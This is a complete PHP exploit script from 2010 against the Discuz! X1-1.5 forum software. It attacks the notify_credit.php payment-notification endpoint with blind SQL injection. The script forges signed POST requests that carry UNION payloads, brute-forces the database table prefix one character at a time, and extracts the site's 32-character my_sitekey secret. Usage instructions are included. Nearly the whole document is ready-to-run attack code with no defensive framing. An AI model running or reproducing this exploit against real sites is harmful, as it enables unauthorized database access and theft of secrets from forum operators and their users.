Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

<?php
print_r('
+---------------------------------------------------------------------------+
Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
by toby57    2010.11.05
mail: toby57 at 163 dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url [pre]
Example:
php '.$argv[0].' http://localhost/
php '.$argv[0].' http://localhost/ xss_
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path .= '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));

$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
    echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
    for($i = 1;$i<20;$i++){
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
    $res = send();

    if(strpos($res,'SQL syntax')!==false){  

    $pre = '';
 $hash2 = array();
    $hash2 = array_merge($hash2, range(48, 57));
    $hash2 = array_merge($hash2, range(97, 122));
    $hash2[] = 95;
    for($j = 1;$j <= $i; $j++){
    for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash2)) {
    $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $pre .= chr($k);break;
    } 
    } 
    }    
    }    
    if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
    }    }    };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i <= 32; $i++){
  for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash)) {
    $char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $sitekey .= chr($k);break;
}}}}
if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');
echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";
exit;

function sign($exp_str){
    return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}

function send(){
    global $host, $path, $tmp_expstr;
    
    $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
    $data  = "POST $path HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($expdata)."\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $expdata;
    $fp = fsockopen($host, 80);
    fputs($fp, $data);
    $resp = '';
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}  
?>